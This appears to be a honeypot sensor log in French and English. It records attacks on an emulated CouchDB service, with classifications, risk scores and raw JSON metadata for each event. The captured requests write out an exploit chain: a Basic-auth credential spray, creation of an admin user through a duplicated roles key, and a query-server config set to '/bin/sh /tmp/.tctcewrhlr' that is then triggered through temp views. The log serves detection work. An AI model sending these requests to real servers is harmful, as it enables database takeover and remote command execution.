Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload GET /_membership HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Authorization: Basic YW5seWhtaDp1d2VrY256d3h4 Pourquoi cette classification : Type « Sonde CouchDB » (signaux protocolaires) · confiance 0% Confiance classification 0% Risque capteur Faible · 34 Confiance : Confiance 0 % — 4 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 Motifs de détection (base) Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) GET /_membership HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Authorization: Basic YW5seWhtaDp1d2VrY256d3h4 Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":126,"payload_entropy":5.261637142948928,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":54,"risk_behavior":0,"risk_geo":0,"risk_protocol":40,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.6,"risk_breakdown":{"waf":8,"classification":54,"behavior":0,"geo":0,"protocol":40,"novelty":15},"risk_score":34,"tag_count":4,"anomaly_count":0,"campaign_key":"b9cfd159ba211c85f74ecb49bfdc67c2c17a2f04","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab couchdb_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%","confidence":0,"classification_confidence":0,"precision_score":0,"precision_signals":[],"kb_rule_ids":[],"matched_patterns":["pat-0463"],"matched_pattern_names":["Cred Basic auth spray"],"pattern_ids":["pat-0463"],"confidence_breakdown":{"waf":8,"classification":54,"behavior":0,"geo":0,"protocol":40,"novelty":15,"risk_score":34},"named_classification_skipped":false,"service_name":"couchdb","risk_confidence_factor":0,"city":null,"is_datacenter":false,"is_tor_hint":f…
18/10/2026 21:13:03 UTC	TCP	5984 · COUCHDB	couchdb	Sonde CouchDB couchdb probe · via COUCHDB:5984 · (sonde / probe)	Élevée	Moyen · 48
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE T1046 TA0007 TA0001 Protocole Émulateur COUCHDB WAF — Recommandation Surveiller Tags couchdb_emulated couchdb_payload couchdb_probe net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /_users/org.couchdb.user:anlyhmh HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 86 Content-Typ Pourquoi cette classification : Type « Sonde CouchDB » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 48 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux Infra Couchdb Db Upstream Technique MITRE T1046 Tactiques MITRE TA0007 TA0001 Motifs de détection (base) CRS 921130 duplicate CL User-Agent — Règles WAF — Payload (extrait) PUT /_users/org.couchdb.user:anlyhmh HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 86 Content-Typ Requête brute (extrait) PUT /_users/org.couchdb.user:anlyhmh HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 86 Content-Type: application/json {"type":"user","name":"anlyhmh","roles":["_admin"],"roles":[],"password":"uwekcnzwxx"} Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":237,"payload_entropy":5.2671124787180945,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":54,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.6,"risk_breakdown":{"waf":8,"classification":54,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":48,"tag_count":4,"anomaly_count":0,"campaign_key":"e88e9a04aae23c4ccb1efacc9a66522c2ffab5d1","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab couchdb_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":87,"precision_signals":["INT-INFRA-couchdb-db","INT-upstream"],"kb_rule_ids":["INT-INFRA-couchdb-db","INT-upstream"],"matched_patterns":["pat-0842"],"matched_pattern_names":["CRS 921130 duplicate CL"],"pattern_ids":["pat-0842"],"confidence_breakdown":{"waf":8,"classification":54,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":48},"named_classification_skipped":false,"service_name":"…
18/10/2026 21:13:03 UTC	TCP	5984 · COUCHDB	couchdb	Sonde CouchDB couchdb probe · via COUCHDB:5984 · (sonde / probe)	Élevée	Faible · 34
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0007 TA0007 TA0001 Protocole Émulateur COUCHDB WAF — Recommandation Surveiller Tags couchdb_emulated couchdb_payload http_get_probe net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload GET / HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Pourquoi cette classification : Type « Sonde CouchDB » (signaux protocolaires) · confiance 0% Confiance classification 0% Risque capteur Faible · 34 Confiance : Confiance 0 % — 4 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET / HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":68,"payload_entropy":4.8443845322359165,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":54,"risk_behavior":0,"risk_geo":0,"risk_protocol":40,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.6,"risk_breakdown":{"waf":8,"classification":54,"behavior":0,"geo":0,"protocol":40,"novelty":15},"risk_score":34,"tag_count":4,"anomaly_count":0,"campaign_key":"b9cfd159ba211c85f74ecb49bfdc67c2c17a2f04","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab couchdb_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%","confidence":0,"classification_confidence":0,"precision_score":0,"precision_signals":[],"kb_rule_ids":[],"confidence_breakdown":{"waf":8,"classification":54,"behavior":0,"geo":0,"protocol":40,"novelty":15,"risk_score":34},"named_classification_skipped":false,"service_name":"couchdb","risk_confidence_factor":0,"city":null,"is_datacenter":false,"is_tor_hint":false,"geo":{"country":"NL","asn":209373,"org":"Swissnet LLC","is_datacenter":false,"is_tor_hint":false},"fing…
18/10/2026 18:34:43 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /tlndurfj/_design/uqovoiwr HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Ba Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) PUT /tlndurfj/_design/uqovoiwr HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Ba Requête brute (extrait) PUT /tlndurfj/_design/uqovoiwr HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Basic YWl4dHhtbjpxcXpleWJlbGpp Content-Type: application/json {"language":"uqovoiwr","views":{"v":{"map":""}}} Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":240,"payload_entropy":5.417521145534267,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.2,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":3,"anomaly_count":0,"campaign_key":"29954183a5ec19d6f27e18af8642b9068b75a9db","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray"],"pattern_ids":["pat-0842","pat-0463"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classification_skipped":false,"service_name":"co…
18/10/2026 18:34:43 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload POST /tlndurfj/_temp_view?limit=1 HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 32 Authorization: Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) POST /tlndurfj/_temp_view?limit=1 HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 32 Authorization: Requête brute (extrait) POST /tlndurfj/_temp_view?limit=1 HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 32 Authorization: Basic YWl4dHhtbjpxcXpleWJlbGpp Content-Type: application/json {"language":"uqovoiwr","map":""} Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":227,"payload_entropy":5.452372619315775,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.2,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":3,"anomaly_count":0,"campaign_key":"29954183a5ec19d6f27e18af8642b9068b75a9db","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray"],"pattern_ids":["pat-0842","pat-0463"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classification_skipped":false,"service_name":"co…
18/10/2026 18:34:42 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe redis_config_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /_config/query_servers/uqovoiwr HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 26 Authorizatio Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray CRS 932205 User-Agent — Règles WAF — Payload (extrait) PUT /_config/query_servers/uqovoiwr HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 26 Authorizatio Requête brute (extrait) PUT /_config/query_servers/uqovoiwr HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 26 Authorization: Basic YWl4dHhtbjpxcXpleWJlbGpp Content-Type: application/json "/bin/sh /tmp/.tctcewrhlr" Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":223,"payload_entropy":5.338001762632098,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.6,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":4,"anomaly_count":0,"campaign_key":"a64e32fb4d2c8ceecf2a6ebd4251202dcbea3d83","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463","pat-0146"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray","CRS 932205"],"pattern_ids":["pat-0842","pat-0463","pat-0146"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classificatio…
18/10/2026 18:34:42 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /tlndurfj/_design/aifnszvq HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Ba Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) PUT /tlndurfj/_design/aifnszvq HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Ba Requête brute (extrait) PUT /tlndurfj/_design/aifnszvq HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Basic YWl4dHhtbjpxcXpleWJlbGpp Content-Type: application/json Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":192,"payload_entropy":5.2960033727457665,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.2,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":3,"anomaly_count":0,"campaign_key":"29954183a5ec19d6f27e18af8642b9068b75a9db","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray"],"pattern_ids":["pat-0842","pat-0463"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classification_skipped":false,"service_name":"c…
18/10/2026 18:34:42 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload POST /tlndurfj/_temp_view?limit=1 HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 32 Authorization: Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) POST /tlndurfj/_temp_view?limit=1 HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 32 Authorization: Requête brute (extrait) POST /tlndurfj/_temp_view?limit=1 HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 32 Authorization: Basic YWl4dHhtbjpxcXpleWJlbGpp Content-Type: application/json {"language":"aifnszvq","map":""} Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":227,"payload_entropy":5.454259845449997,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.2,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":3,"anomaly_count":0,"campaign_key":"29954183a5ec19d6f27e18af8642b9068b75a9db","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray"],"pattern_ids":["pat-0842","pat-0463"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classification_skipped":false,"service_name":"co…
18/10/2026 18:34:42 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /tlndurfj/wbeebyoodrfe HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 7 Authorization: Basic Y Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) PUT /tlndurfj/wbeebyoodrfe HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 7 Authorization: Basic Y Requête brute (extrait) PUT /tlndurfj/wbeebyoodrfe HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 7 Authorization: Basic YWl4dHhtbjpxcXpleWJlbGpp Content-Type: application/json {"x":1} Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":194,"payload_entropy":5.346105740892851,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.2,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":3,"anomaly_count":0,"campaign_key":"29954183a5ec19d6f27e18af8642b9068b75a9db","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray"],"pattern_ids":["pat-0842","pat-0463"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classification_skipped":false,"service_name":"co…
18/10/2026 18:34:42 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /tlndurfj HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 0 Authorization: Basic YWl4dHhtbjpxcX Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) PUT /tlndurfj HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 0 Authorization: Basic YWl4dHhtbjpxcX Requête brute (extrait) PUT /tlndurfj HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 0 Authorization: Basic YWl4dHhtbjpxcXpleWJlbGpp Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":142,"payload_entropy":5.309590009270652,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.2,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":3,"anomaly_count":0,"campaign_key":"29954183a5ec19d6f27e18af8642b9068b75a9db","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray"],"pattern_ids":["pat-0842","pat-0463"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classification_skipped":false,"service_name":"co…
18/10/2026 18:34:42 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags botnet_c2 couchdb_emulated couchdb_payload mirai_pattern Cible HTTP — TLS SNI — Capteur paris-1
